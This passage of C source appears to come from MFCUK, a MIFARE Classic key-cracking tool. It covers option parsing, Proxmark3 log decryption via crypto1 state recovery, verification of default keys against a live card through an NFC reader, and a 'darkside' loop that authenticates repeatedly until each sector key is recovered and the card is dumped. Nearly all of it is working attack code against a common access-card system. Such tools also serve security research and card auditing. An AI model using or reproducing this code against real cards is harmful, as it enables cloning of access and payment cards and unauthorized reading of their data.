  1084. // TODO: what if the multi-sect authentication comes not directly after the first successful plain authentication, i.e. several read/write/incr/decr command occur first then multi-sect auth?! how does this affects the crypto stream/state, what should we do? need to simulate with a nfc-multisect-auth program which has tests with interleaved multi-sect authentications
  1085. pm3_revstate_multisect_auth = lfsr_recovery64(pm3_ks2, pm3_ks3);
  1086. for (i = 0; i < 4; i++) {
  1087. uint8_t multisect_auth_byte = (pm3_log_multisect_auth >> (8 * (3 - i))) & 0xFF;
  1088. pm3_log_multisect_decrypted[i] = crypto1_byte(pm3_revstate_multisect_auth, 0x00, 0) ^ multisect_auth_byte;
  1089. pm3_log_multisect_verified[i] = pm3_log_multisect_decrypted[i];
  1090. }
  1091. // TODO: This "<= MIFARE_CLASSIC_4K_MAX_BLOCKS" should be properly checked against either MIFARE_CLASSIC_1K_MAX_BLOCKS or MIFARE_CLASSIC_4K_MAX_BLOCKS (depending on card type detected)
  1092. if ((pm3_log_multisect_decrypted[0] == MC_AUTH_A) || (pm3_log_multisect_decrypted[0] == MC_AUTH_B)) {
  1093. iso14443a_crc_append(pm3_log_multisect_verified, 2);
  1094. int multisect_auth_verified = 1;
  1095. for (i = 0; i < 4; i++) {
  1096. if (pm3_log_multisect_verified[i] != pm3_log_multisect_decrypted[i]) {
  1097. multisect_auth_verified = 0;
  1098. break;
  1099. }
  1100. }
  1101. printf("proxmark3 log multi-sect auth detected: %02X %02X %02X %02X (parity crc %s)\n", pm3_log_multisect_decrypted[0], pm3_log_multisect_decrypted[1], pm3_log_multisect_decrypted[2], pm3_log_multisect_decrypted[3], multisect_auth_verified ? "ok" : "NOK");
  1102. }
  1103. crypto1_destroy(pm3_revstate_multisect_auth);
  1104. }
  1105. }
  1106. }
  1107. break;
  1108. case 'p':
  1109. /*
  1110. if (mfcuk_pm3_parse_log(optarg, pm3_full_set))
  1111. {
  1112. mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr);
  1113. }
  1114. else
  1115. {
  1116. }
  1117. */
  1118. printf("NOT IMPLEMENTED YET...\n");
  1119. break;
  1120. case 'F':
  1121. if (!mfcuk_load_tag_dump(optarg, &(finger_tag))) {
  1122. WARN("Unable to load tag dump from '%s'", optarg);
  1123. } else {
  1124. finger_score_highest = -1.0f;
  1125. finger_index_highest = -1;
  1126. for (i = 0; i < mfcuk_finger_db_entries; i++) {
  1127. finger_score = -1.0f;
  1128. mfcuk_finger_db[i].tmpl_comparison_func(&(finger_tag), mfcuk_finger_db[i].tmpl_data, &finger_score);
  1129. if (finger_score > finger_score_highest) {
  1130. finger_score_highest = finger_score;
  1131. finger_index_highest = i;
  1132. }
  1133. }
  1134. if (finger_index_highest > -1) {
  1135. printf("Tag '%s' matches '%s' with highest score %f\n", optarg, mfcuk_finger_db[finger_index_highest].tmpl_name, finger_score_highest);
  1136. mfcuk_finger_db[finger_index_highest].tmpl_decoder_func(&(finger_tag));
  1137. } else {
  1138. printf("No template found to match tag '%s'\n", optarg);
  1139. }
  1140. }
  1141. break;
  1142. case 'h':
  1143. // Help screen
  1144. print_usage(stdout, argv[0]);
  1145. return EXIT_SUCCESS;
  1146. break;
  1147. case '?':
  1148. default:
  1149. // Help screen, on error output
  1150. ERR("Unknown option %c\n", ch);
  1151. print_usage(stderr, argv[0]);
  1152. return EXIT_FAILURE;
  1153. break;
  1154. }
  1155. }
  1156. // Unload fingerprinting
  1157. mfcuk_finger_unload();
  1158. // If tests were requested, exit after tests completed
  1159. if (bfOpts['t'] || bfOpts['T']) {
  1160. return EXIT_SUCCESS;
  1161. }
  1162. // In case default keys requested (and maybe more specified on command line),
  1163. // print the default keys which will be used
  1164. if (bfOpts['D']) {
  1165. if (bfOpts['v'] && (verboseLevel > 0)) {
  1166. printf("DEFAULT KEYS:\n");
  1167. // Skip the key at index 0, since it is initially 0x0 and is reserved for the loaded dump key
  1168. for (i = 1; i < numDefKeys; i++) {
  1169. printf("\t");
  1170. print_hex(current_default_keys[i], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1171. }
  1172. }
  1173. }
  1174. if (bfOpts['i'] || bfOpts['I']) {
  1175. if (bfOpts['v'] && (verboseLevel > 0)) {
  1176. print_mifare_classic_tag_keys("LOADED TAG DUMP", &(dump_loaded_tag.tag_basic));
  1177. }
  1178. // Overwrite from the loaded dump only the keys for sectors and keys which were not specified on command line
  1179. for (i = 0; i < MIFARE_CLASSIC_4K_MAX_SECTORS; i++) {
  1180. // TODO: proper error handling for block and ptr_trailer
  1181. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1182. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1183. ptr_trailer_dump = (mifare_classic_block_trailer *)((char *)(&dump_loaded_tag.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1184. // If no command line keyA is set, copy from loaded dump
  1185. if (!(ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_KEYSET)) {
  1186. memcpy(&(ptr_trailer->abtKeyA[0]), &(ptr_trailer_dump->abtKeyA[0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1187. // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD
  1188. }
  1189. // If no command line keyB is set, copy from loaded dump
  1190. if (!(ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_KEYSET)) {
  1191. memcpy(&(ptr_trailer->abtKeyB[0]), &(ptr_trailer_dump->abtKeyB[0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1192. // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD
  1193. }
  1194. }
  1195. // If no command line UID supplied and not tag-type specified, copy the manufacturer block from the loaded dump
  1196. if (!bfOpts['U'] && !bfOpts['M']) {
  1197. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1198. ptr_trailer_dump = (mifare_classic_block_trailer *)((char *)(&dump_loaded_tag.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1199. memcpy(ptr_trailer, ptr_trailer_dump, sizeof(*ptr_trailer));
  1200. tag_recover_verify.type = tag_recover_verify.tag_basic.amb[0].mbm.btUnknown;
  1201. tag_recover_verify.uid = bswap_32_pu8(tag_recover_verify.tag_basic.amb[0].mbm.abtUID);
  1202. }
  1203. }
  1204. if (!bfOpts['C']) {
  1205. printf("No connection to reader requested (need option -C). Exiting...\n");
  1206. return EXIT_SUCCESS;
  1207. }
  1208. // READER INITIALIZATION BLOCK
  1209. // Try to open the NFC reader
  1210. nfc_init(&context);
  1211. pnd = nfc_open(context, NULL);
  1212. if (pnd == NULL) {
  1213. ERR("connecting to NFC reader");
  1214. goto error;
  1215. }
  1216. if (0 > nfc_initiator_init(pnd)) {
  1217. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1218. goto error;
  1219. }
  1220. printf("\nINFO: Connected to NFC reader: %s\n\n", nfc_device_get_name(pnd));
  1221. // Select tag and get tag info
  1222. if (!mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti)) {
  1223. ERR("selecting tag on the reader %s", nfc_device_get_name(pnd));
  1224. goto error;
  1225. }
  1226. mfcuk_darkside_reset_advanced(pnd);
  1227. // Tag on the reader type
  1228. tag_on_reader.type = ti.nti.nai.btSak;
  1229. tag_on_reader.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak;
  1230. // No command line tag type specified, take it from the tag on the reader
  1231. if (!bfOpts['M']) {
  1232. tag_recover_verify.type = ti.nti.nai.btSak;
  1233. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = ti.nti.nai.btSak;
  1234. }
  1235. // Tag on the reader UID
  1236. tag_on_reader.uid = bswap_32_pu8(ti.nti.nai.abtUid);
  1237. memcpy(tag_on_reader.tag_basic.amb[0].mbm.abtUID, ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH);
  1238. // No command line tag UID specified, take it from the tag on the reader
  1239. if (!bfOpts['U']) {
  1240. tag_recover_verify.uid = bswap_32_pu8(ti.nti.nai.abtUid);
  1241. memcpy(tag_recover_verify.tag_basic.amb[0].mbm.abtUID, ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH);
  1242. }
  1243. if (bfOpts['v'] && (verboseLevel > 0)) {
  1244. print_mifare_classic_tag_actions("\n\nINITIAL ACTIONS MATRIX", &(tag_recover_verify.tag_basic));
  1245. }
  1246. max_sectors = (IS_MIFARE_CLASSIC_1K(tag_recover_verify.type) ? MIFARE_CLASSIC_1K_MAX_SECTORS : MIFARE_CLASSIC_4K_MAX_SECTORS);
  1247. // VERIFY KEYS CODE-BLOCK
  1248. printf("\nVERIFY: ");
  1249. for (k = keyA; k <= keyB; k++) {
  1250. // Print key-type for which we are looping the sectors for verification
  1251. printf("\n\tKey %c sectors:", 'B' - (keyB - k));
  1252. for (i = 0; i < max_sectors; i++) {
  1253. uint64_t crntVerifKey = 0;
  1254. uint8_t crntVerifTagType = tag_recover_verify.type;
  1255. int crntNumVerifKeys = (bfOpts['D']) ? (numDefKeys) : (1);
  1256. mifare_param mp;
  1257. // Depending on which of keyA or keyB the j value is, the checks and actions below will address exactly that keyA or keyB of current sector
  1258. uint8_t action_byte = ACTIONS_KEY_A + 2 * (1 - (keyB - k));
  1259. uint8_t result_byte = RESULTS_KEY_A + 2 * (1 - (keyB - k));
  1260. printf(" %x", i);
  1261. fflush(stdout);
  1262. // TODO: proper error handling
  1263. block = get_trailer_block_for_sector(crntVerifTagType, i);
  1264. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1265. // If DEFAULT KEYS option was specified, crntNumVerifKeys is already taking care of them
  1266. // Also, perform verification ontly if the sector has been marked for verification of key and not valid verification yet occured in the loop
  1267. for (j = 0; (j < crntNumVerifKeys) && (ptr_trailer->abtAccessBits[action_byte] & ACTIONS_VERIFY) && !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY); j++) {
  1268. // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs
  1269. mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic));
  1270. // The first spot in the current_default_keys, is reserved to the key from the loaded dump or from command line
  1271. // If not present (dump or command line), the key of this key-type k for current sector i will be 000000000000
  1272. if (j == 0) {
  1273. memcpy(&(current_default_keys[0][0]), (k == keyA) ? (&(ptr_trailer->abtKeyA[0])) : ((&(ptr_trailer->abtKeyB[0]))), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1274. }
  1275. if (!mfcuk_key_arr_to_uint64(&(current_default_keys[j][0]), &crntVerifKey)) {
  1276. WARN("mfcuk_key_arr_to_uint64() failed, verification key will be %012"PRIx64"", crntVerifKey);
  1277. }
  1278. /*
  1279. // TODO: make this kind of key verification as part of option -a - advanced verification of keys with crapto1 rollback for double verification
  1280. // TEST
  1281. nfc_disconnect(pnd);
  1282. // Try to open the NFC reader
  1283. pnd = nfc_connect(NULL);
  1284. if (pnd == NULL)
  1285. {
  1286. ERR("connecting to NFC reader");
  1287. return 1;
  1288. }
  1289. if ( 0 > nfc_initiator_init(pnd) )
  1290. {
  1291. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1292. nfc_disconnect(pnd);
  1293. return 1;
  1294. }
  1295. // TEST
  1296. uiErrCode = mfcuk_verify_key_block(pnd, crntVerifUID, crntVerifKey, k, crntVerifTagType, block);
  1297. if ( uiErrCode == MFCUK_SUCCESS )
  1298. {
  1299. // Mark current key-type as verified
  1300. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY;
  1301. // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched
  1302. memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1303. }
  1304. else
  1305. {
  1306. ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode);
  1307. }
  1308. // Reset advanced settings
  1309. mfcuk_darkside_reset_advanced(pnd);
  1310. */
  1311. memcpy(mp.mpa.abtAuthUid, tag_recover_verify.tag_basic.amb[0].mbm.abtUID, MIFARE_CLASSIC_UID_BYTELENGTH);
  1312. memcpy(mp.mpa.abtKey, &(current_default_keys[j][0]), MIFARE_CLASSIC_KEY_BYTELENGTH);
  1313. if (0 >= nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &ti)) {
  1314. ERR("tag was removed or cannot be selected");
  1315. }
  1316. if (0 > nfc_initiator_mifare_cmd(pnd, k, block, &mp)) {
  1317. ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode);
  1318. } else {
  1319. // Mark current key-type as verified
  1320. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY;
  1321. // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched
  1322. memcpy((k == keyA) ? (ptr_trailer->abtKeyA) : (ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH);
  1323. }
  1324. } // for (j = 0; (j < crntNumVerifKeys); j++)
  1325. } // for (i=0; i<max_sectors; i++)
  1326. } // for (k = keyA; k <= keyB; k++)
  1327. printf("\n");
  1328. if (bfOpts['v'] && (verboseLevel > 0)) {
  1329. print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER VERIFY", &(tag_recover_verify.tag_basic));
  1330. }
  1331. // RECOVER KEYS CODE-BLOCK
  1332. printf("\nRECOVER: ");
  1333. for (i = 0; i < max_sectors; i++) {
  1334. uint64_t crntRecovKey = 0;
  1335. ui64KeyRecovered = 0;
  1336. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1337. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  1338. printf(" %x", i);
  1339. fflush(stdout);
  1340. for (j = keyA; j <= keyB; j++) {
  1341. // Depending on which of keyA or keyB the j value is, the checks and actions below will address exactly that keyA or keyB of current sector
  1342. uint8_t action_byte = ACTIONS_KEY_A + 2 * (1 - (keyB - j));
  1343. uint8_t result_byte = RESULTS_KEY_A + 2 * (1 - (keyB - j));
  1344. // We have a sector and a key-type of that sector marked for recovery and still the key was not either verified nor recovered
  1345. if ((ptr_trailer->abtAccessBits[action_byte] & ACTIONS_RECOVER) &&
  1346. !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY) &&
  1347. !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_RECOVER)
  1348. ) {
  1349. // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs
  1350. mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic));
  1351. // TEST
  1352. // Before starting a new recovery session, disconnect and reconnect to reader and then tag
  1353. nfc_close(pnd);
  1354. // Try to open the NFC reader
  1355. pnd = nfc_open(context, NULL);
  1356. if (pnd == NULL) {
  1357. ERR("connecting to NFC reader");
  1358. return EXIT_FAILURE;
  1359. }
  1360. if (0 > nfc_initiator_init(pnd)) {
  1361. ERR("initializing NFC reader: %s", nfc_device_get_name(pnd));
  1362. goto error;
  1363. }
  1364. // TEST
  1365. // Every new recovery session needs this "sort-of" initializing the entries
  1366. memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));
  1367. numSpoofEntries = 0;
  1368. numAuthAttempts = 0;
  1369. // Recovery loop for current key-type of current sector
  1370. do {
  1371. mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti);
  1372. // Print usefull/useless info (sort-of "Let me entertain you!")
  1373. if (bfOpts['v'] && (verboseLevel > 2)) {
  1374. printf("\n-----------------------------------------------------\n");
  1375. printf("Let me entertain you!\n");
  1376. printf(" uid: %08x\n", tag_recover_verify.uid);
  1377. printf(" type: %02x\n", tag_recover_verify.type);
  1378. printf(" key: %012"PRIx64"\n", crntRecovKey);
  1379. printf(" block: %02x\n", block);
  1380. printf("diff Nt: %d\n", numSpoofEntries);
  1381. printf(" auths: %d\n", numAuthAttempts);
  1382. printf("-----------------------------------------------------\n");
  1383. }
  1384. uiErrCode = mfcuk_key_recovery_block(pnd, tag_recover_verify.uid, crntRecovKey, j, tag_recover_verify.type, block, &ui64KeyRecovered);
  1385. if (uiErrCode != MFCUK_OK_KEY_RECOVERED && uiErrCode != MFCUK_SUCCESS && uiErrCode != MFCUK_FAIL_AUTH) {
  1386. ERR("mfcuk_key_recovery_block() (error code=0x%02x)", uiErrCode);
  1387. }
  1388. mfcuk_darkside_reset_advanced(pnd);
  1389. numAuthAttempts++;
  1390. } while (uiErrCode != MFCUK_OK_KEY_RECOVERED);
  1391. // Store the recovered key A and mark key A for this sector as recovered in results
  1392. ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_RECOVER;
  1393. if (!mfcuk_key_uint64_to_arr(&ui64KeyRecovered, (j == keyA) ? (&(ptr_trailer->abtKeyA[0])) : (&(ptr_trailer->abtKeyB[0])))) {
  1394. WARN("mfcuk_key_uint64_to_arr() failed, recovered key should have been %012"PRIx64"", ui64KeyRecovered);
  1395. }
  1396. }
  1397. } // for (j=keyA; j<=keyB; j++)
  1398. }
  1399. printf("\n");
  1400. if (bfOpts['v'] && (verboseLevel > 0)) {
  1401. print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER RECOVER", &(tag_recover_verify.tag_basic));
  1402. }
  1403. // DUMP DATA CODE-BLOCK
  1404. // TODO: write this code-block
  1405. /*
  1406. for (i=0; i<max_sectors; i++)
  1407. {
  1408. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  1409. ptr_trailer = (mifare_classic_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) );
  1410. //nfc_initiator_mifare_cmd()
  1411. }
  1412. */
  1413. // Clean up and release device
  1414. nfc_close(pnd);
  1415. nfc_exit(context);
  1416. // TODO: think which tag to output and make sure it contains all the retreived data
  1417. // TODO: make this as a function and call it after each key is verified or recovered (because of reader-locking bug)
  1418. if (bfOpts['o']) {
  1419. if (!mfcuk_save_tag_dump(strOutputFilename, &(tag_recover_verify.tag_basic))) {
  1420. ERR("could not save tag dump to '%s'", strOutputFilename);
  1421. } else {
  1422. if (bfOpts['v'] && (verboseLevel > 1)) {
  1423. printf("INFO: saved tag dump file to '%s'\n", strOutputFilename);
  1424. }
  1425. }
  1426. } else if (bfOpts['O']) {
  1427. if (!mfcuk_save_tag_dump_ext(strOutputFilename, &(tag_recover_verify))) {
  1428. ERR("could not save extended tag dump to '%s'", strOutputFilename);
  1429. } else {
  1430. if (bfOpts['v'] && (verboseLevel > 1)) {
  1431. printf("INFO: saved extended tag dump file to '%s'\n", strOutputFilename);
  1432. }
  1433. }
  1434. }
  1435. return EXIT_SUCCESS;
  1436. error:
  1437. nfc_close(pnd);
  1438. nfc_exit(context);
  1439. return EXIT_FAILURE;
  1440. }